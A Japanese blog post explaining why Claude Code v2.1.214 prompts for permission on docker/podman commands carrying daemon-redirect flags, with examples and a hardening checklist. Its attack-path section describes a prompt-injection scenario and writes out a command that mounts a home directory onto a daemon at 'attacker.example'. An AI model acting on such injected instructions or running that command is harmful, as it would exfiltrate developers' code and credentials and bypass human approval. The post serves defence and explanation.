「Claude CodeでDockerコマンドを打ったら、今まで出なかった権限プロンプトが出るようになったのはなぜか？」——答えは、v2.1.214（2026年7月18日リリース）で、dockerコマンド（Podmanのdocker shim含む）に付くデーモン接続切替フラグ（--url、--connection、--identity、Podmanのremoteモード）が許可プロンプト必須の対象に追加されたからです。これらのフラグは接続先デーモンを丸ごと差し替えられるにもかかわらず、以前は確認なしで実行できてしまう状態でした。
関連: Claude Messages API on Bedrock｜ゼロオペレータ
関連: Claude Code MCP結果永続化｜500K実装ガイド
つまりこれは不具合ではなく、意図されたセキュリティ強化です。ローカルのコンテナ操作のつもりで許可していたdockerコマンドが、フラグ1つでリモートの、場合によっては悪意ある第三者のデーモンに向けて実行される——この経路を塞ぐのが今回の変更の狙いです。順に見ていきましょう。
v2.1.214で何が変わったのか
Claude Code公式changelogのv2.1.214には、次の一文があります。
Added permission prompts for
dockercommands (including the Podmandockershim) carrying daemon-redirect flags (--url,--connection,--identity, and Podman’s remote mode) that previously ran without one
訳すと「デーモンリダイレクト系フラグ（--url、--connection、--identity、Podmanのremoteモード）を伴うdockerコマンド（Podmanのdocker shim含む）に許可プロンプトを追加した。これらは従来プロンプトなしで実行されていた」となります。npmレジストリの公開履歴によると、v2.1.214の公開日時は2026年7月18日（UTC）です。
ポイントは3つあります。
- 対象はフラグ付きのdocker/podman実行。
docker psやpodman imagesのような通常のローカル操作の扱いを変える変更ではなく、接続先を差し替えるフラグが付いた場合に限って確認が入ります。 - Podmanの「docker shim」も対象。多くのLinux環境では
podman-dockerパッケージによってdockerコマンドの実体がPodmanになっており、見た目はdockerでもPodmanのグローバルフラグが通ります。ここが従来の判定の盲点でした。 - 「previously ran without one」＝既知の抜け穴の修正。許可設定で
docker系コマンドを自動許可にしていた場合、リモート接続フラグ付きでもそのまま素通りしていた、という意味です。
自分の環境が対象バージョンかどうかはclaude --versionで確認できます。v2.1.213以前を使っている場合、デーモン切替フラグ付きのdocker/podmanコマンドは今も無確認で通る状態なので、コンテナを扱うプロジェクトでは早めの更新をおすすめします。逆に、更新後に「今まで通っていたコマンドで急にプロンプトが出るようになった」と感じたなら、それはまさにこの変更が働いている証拠であり、そのコマンドに接続先切替フラグが含まれていないかを見直すきっかけにしてください。
なお、同じv2.1.214にはEdit(src/**)形式の許可ルールが意図より広くマッチしていた問題の修正や、Windows PowerShell 5.1での権限チェックバイパス修正など、パーミッション境界の修正が複数まとまって入っています。docker権限プロンプトの追加も、この「許可判定の穴を塞ぐ」一連の流れの一部として読むのが正確です。
プロンプト必須化の対象となる4つのフラグ
今回対象になったフラグはいずれもPodmanのグローバルオプションで、公式のpodman(1)マニュアルに定義があります。それぞれの役割を整理します。
| フラグ | 役割（podman公式マニュアルより） | 何が差し替わるか |
|---|---|---|
--url |
Podmanサービスへの接続URLを指定。rootlessの既定値はunix:///run/user/$UID/podman/podman.sock |
接続先ソケット／ホストそのもの。ssh://やtcp://で任意のリモートを指定できる |
--connection（-c） |
事前登録済みのリモート接続名を指定。指定すると自動的にremoteモードが有効になる | 名前1つでリモートマシン（Mac/Windowsのpodman machine含む）へ切替 |
--identity |
SSH接続に使うidentityファイル（秘密鍵）のパスを指定 | どのSSH鍵で外部ホストに接続するか。開発者の鍵を使った外部接続の起点になる |
remoteモード（--remote／-r） |
Podmanサービスへのアクセスをリモート化するスイッチ。既定はfalse | コマンド全体の実行先がリモートのPodmanサービスに変わる |
さらに注意したいのが環境変数です。podmanマニュアルによれば、CONTAINER_HOST環境変数を設定すると--remoteが自動的に有効になります。フラグが1つも見えないコマンドでも、環境変数経由で実行先が変わりうる——コンテナCLIの接続先制御はそれだけ多層的だということは押さえておきましょう（changelogが明記しているプロンプト対象はフラグとremoteモードです。環境変数側の扱いは公式に明記がないため、許可設定側で防御するのが安全です）。
確認なし実行の何が危険だったのか
「接続先を変えるだけのフラグがなぜそこまで問題なのか」を、Claude Codeの許可モデルに沿って考えます。
前提: docker系コマンドを一括許可している開発環境は多い
コンテナを日常的に使うプロジェクトでは、毎回プロンプトに答えるのを避けるため、次のような許可ルールを入れているケースがよくあります。
// .claude/settings.json（プロジェクト設定の例）
{
"permissions": {
"allow": [
"Bash(docker:*)",
"Bash(podman:*)"
]
}
}
この設定の意図は「ローカルのコンテナ操作は自由にやってよい」です。ところがv2.1.213以前は、この許可がdocker --url ssh://somewhere ...のような接続先差し替え付きの実行にもそのまま適用されていました。開発者が許可した覚えのない「リモート実行」まで、ローカル操作と同じ顔をして通ってしまうわけです。
攻撃経路: プロンプトインジェクション → 悪意あるデーモンへの誘導
Claude Codeのようなエージェントは、READMEやIssue、Webページ、依存パッケージのドキュメントなど、信頼できないテキストを日常的に読み込みます。そこに「コンテナの動作確認にはこのエンドポイントを使え」といった指示が仕込まれていた場合を考えてみてください。
- 汚染された文書がエージェントのコンテキストに入る
- エージェントが
docker --url tcp://attacker.example:2376 run -v /home/dev:/data ...のようなコマンドを組み立てる - 旧バージョンでは
Bash(docker:*)の一括許可により、プロンプトなしで実行される - コマンドは攻撃者の管理するデーモンに対して、開発者の権限・開発者のSSH鍵（
--identity指定時）・開発者のマシンから発行される
この経路の怖さは2方向あります。1つは送信方向で、ビルドコンテキストやマウント指定に含めたソースコード・設定ファイル・認証情報が外部デーモンへ送られること。もう1つは実行主体の偽装で、リモートデーモン上での操作がすべて開発者由来の正規の接続として記録されることです。コンテナはサンドボックスとして使われることが多いだけに、「そのサンドボックスの土台ごと別ホストにすり替えられる」フラグが無確認で通るのは、許可モデルの一貫性を壊す穴でした。
Claude Codeはこの時期、サンドボックス境界の修正を立て続けに出しています。サブエージェント経由の権限迂回を塞いだ修正や、v2.1.221で入った資格情報の自動マスキング（maskモード）も同じ文脈にあります。関連の深いところではサブエージェントの権限の穴の修正とサンドボックスmaskモードによる認証情報保護を合わせて読むと、Anthropicが「エージェントに与えた許可が想定外の範囲に染み出す」問題を系統的に潰していることが分かります。
実際に許可プロンプトが出る操作例
v2.1.214以降のClaude Codeでは、次のようなコマンドをエージェントが実行しようとすると、docker系を許可済みでも確認を求められます（環境: Claude Code v2.1.214以降、Podman 5系のグローバルオプション仕様に基づく例。本番環境で使用する前に、必ずテスト環境で動作確認してください）。
# 1. --url で接続先ソケット/ホストを直接指定
docker --url ssh://user@build-server:22/run/user/1000/podman/podman.sock ps
# 2. --connection で登録済みリモート接続に切替
podman --connection staging-vm run --rm alpine echo hello
# 3. --identity でSSH秘密鍵を指定して接続
podman --url ssh://user@remote-host --identity ~/.ssh/id_ed25519 images
# 4. remoteモードの明示指定
podman --remote ps
一方、接続先を差し替えない通常のローカル操作は、この変更の対象ではありません。
# これらは今回の変更でプロンプト対象に「追加」されたものではない
docker ps
docker build -t myapp .
podman run --rm alpine echo hello
もちろん、これらが確認なしで動くかどうかは各自の許可設定次第です。今回の変更が言っているのは「たとえdockerを許可していても、デーモン切替フラグ付きなら必ず確認を挟む」という一段上の判定が加わった、ということです。挙動の詳細は公式のパーミッション設定ドキュメントで確認できます。
Podman docker shim環境での注意点
今回のchangelogでわざわざ「including the Podman docker shim」と書かれているのには理由があります。
「docker」と打ってもPodmanが動く環境がある
Fedora/RHEL系ではdnf install podman-docker、Ubuntu/Debian系ではapt-get install podman-dockerを入れると、dockerコマンドがPodmanを呼び出すラッパーとして提供されます。既存のスクリプトやチームの手癖を変えずにPodmanへ移行するための仕組みです。
この環境では、docker --url ...やdocker --connection ...のようなDocker CLI本体には存在しないPodmanグローバルフラグが「dockerコマンド」として通ります。コマンド名だけを見て「dockerだからDocker CLIの引数仕様で判定すればよい」と考えると、Podman固有の接続切替フラグを見落とす——これがまさに従来の判定の抜け道であり、今回shimを名指しで対象に含めた理由と考えられます。
shim環境で確認しておきたいこと
- 自分の
dockerの実体を確認する:docker --versionの出力にpodman version ...と表示されるならshim環境です。type dockerでパスを確認するのも確実です。 - 登録済みリモート接続を棚卸しする:
podman system connection listで、--connectionから参照できる接続先の一覧が見えます。使っていない接続が残っているなら、名前1つでそこへ切り替えられる状態だと認識しておくべきです。 - rootless時の既定接続先を把握する: podmanマニュアルの既定値はrootlessで
unix:///run/user/$UID/podman/podman.sockです。containers.confで既定URLを変更している環境では、フラグなしのコマンドが既にリモートを向いている可能性もあります。
運用チェックリスト
この変更を受けて、Claude Codeでコンテナを扱うプロジェクトで確認しておきたい項目をまとめます。
| # | 確認項目 | 目安 |
|---|---|---|
| 1 | Claude Codeのバージョンがv2.1.214以降か（claude --version） |
それ未満ならデーモン切替フラグが無確認で通る。更新を優先する |
| 2 | Bash(docker:*)等の一括許可ルールの棚卸し |
本当に一括で許可すべきか再検討。必要な操作だけに絞れないか |
| 3 | dockerの実体がPodman shimかどうかの確認 |
docker --version／type dockerで判別 |
| 4 | podman system connection listで登録済み接続の棚卸し |
不要な接続は削除。残すものは接続先を文書化 |
| 5 | CONTAINER_HOST／containers.confの既定接続先確認 |
フラグなしでもリモートを向く設定になっていないか |
| 6 | プロンプトが出た時に内容を読んで判断する運用の徹底 | 接続先URL・接続名・鍵パスを見ずに承認しない |
特に6は形骸化しやすいポイントです。せっかく確認が挟まるようになっても、中身を読まずに承認していては意味がありません。プロンプトに--urlやssh://が見えたら「なぜ今リモートに接続する必要があるのか」を一度立ち止まって考える。信頼できない文書を読ませた直後の外部接続要求はとりわけ疑ってかかる。この判断基準はコンテナに限らず有効で、プロンプトインジェクション対策の多層防御の一層として権限プロンプトを位置づけるのが正しい理解です。
よくある質問
Q1. ローカルのdocker buildやdocker runにも毎回プロンプトが出るようになったのですか？
いいえ。今回の変更でプロンプト対象に追加されたのは、--url・--connection・--identity・remoteモードという接続先切替に関わるケースです。通常のローカル操作の扱いは、従来どおり各自の許可設定に従います。
Q2. v2.1.222の変更だと聞いたのですが？
公式changelogとGitHubリポジトリのCHANGELOG.mdの両方で、この項目はv2.1.214に記載されています。npmの公開履歴ではv2.1.214は2026年7月18日（UTC）、v2.1.222は2026年8月4日（UTC）の公開です。v2.1.222はworktree分離セッションの修正やhooksの権限バイパス修正などが中心で、docker権限プロンプトの項目は含まれていません。
Q3. このプロンプトを恒久的にスキップする設定はありますか？
許可ルールの設計次第で挙動は変わりますが、デーモン切替フラグ付き実行を無条件で通す設定を意図的に組むことは推奨しません。今回の変更は「その素通りが危険だった」という判断の表れです。定常的にリモートPodmanを使うワークフローがあるなら、接続先を固定した特定コマンドだけを狭く許可する方向で設計してください。詳細は公式のパーミッション設定ドキュメントを参照してください。
Q4. Docker CLI本体の-HやDOCKER_HOST、docker contextはどうなりますか？
changelogのこの項目が名指ししているのはPodman系のフラグとremoteモードであり、Docker CLI固有の接続切替手段の扱いについては明記がありません。接続先を変える手段はフラグ以外にも環境変数や設定ファイルなど複数あるため、ツール側のプロンプトだけに頼らず、許可ルールと環境変数の管理を併用するのが安全です。
結論と次の一歩
Claude Code v2.1.214のdocker権限プロンプト追加は、「ローカルのコンテナ操作」として許可したコマンドが、フラグ1つで「開発者権限のままのリモート実行」に化ける経路を塞ぐ修正です。Podmanのdocker shimまで対象に含めたことで、コマンド名の見た目に依存しない判定になりました。エージェントに広い許可を与えるほど、その許可の境界がどこまで及ぶかを正確に知る必要がある——今回の変更はその好例です。
次の一歩として、まずclaude --versionでv2.1.214以降であることを確かめ、docker --versionで自環境がPodman shimかを判別し、podman system connection listで登録済み接続を棚卸しする。この3コマンドだけでも、自分の環境の「接続先が差し替わりうる面」がどれだけあるかが見えてきます。
あわせて読みたい:
- Claude Code サンドボックスmaskモード解説｜認証情報を守る新機能 — 同時期に入った資格情報マスキングの仕組み
- Claude Codeが塞いだサブエージェントの権限の穴とは — 権限境界修正のもう1つの事例
- プロンプトインジェクション対策｜エージェント時代の多層防御5層 — 権限プロンプトを防御層として位置づける考え方
この記事を読んで導入イメージが固まってきた方へ
UravationではAIエージェント導入の研修・コンサルを行っています。
参考・出典
- Claude Code Changelog — Anthropic公式ドキュメント（参照日: 2026-08-11）
- anthropics/claude-code CHANGELOG.md — GitHub公式リポジトリ（参照日: 2026-08-11）
- podman(1) — Podman公式マニュアル — –url／–connection／–identity／–remoteの仕様（参照日: 2026-08-11）
- Claude Code Permissions — Anthropic公式ドキュメント（参照日: 2026-08-11）
- @anthropic-ai/claude-code — npm — 各バージョンの公開日時（参照日: 2026-08-11）
著者: 佐藤傑（さとう・すぐる）。株式会社Uravation代表取締役。X（@SuguruKun_ai）フォロワー約10万人。100社以上の企業向けAI研修・導入支援。著書『AIエージェント仕事術』。
関連の続報（2026年8月11日追記）：この記事で扱った権限プロンプトの厳格化に続き、Claude Codeは2026年8月14日から権限モデル自体を大きく変える。Claude Code Auto Modeが標準化｜8月14日から何が変わるもあわせて確認してほしい。
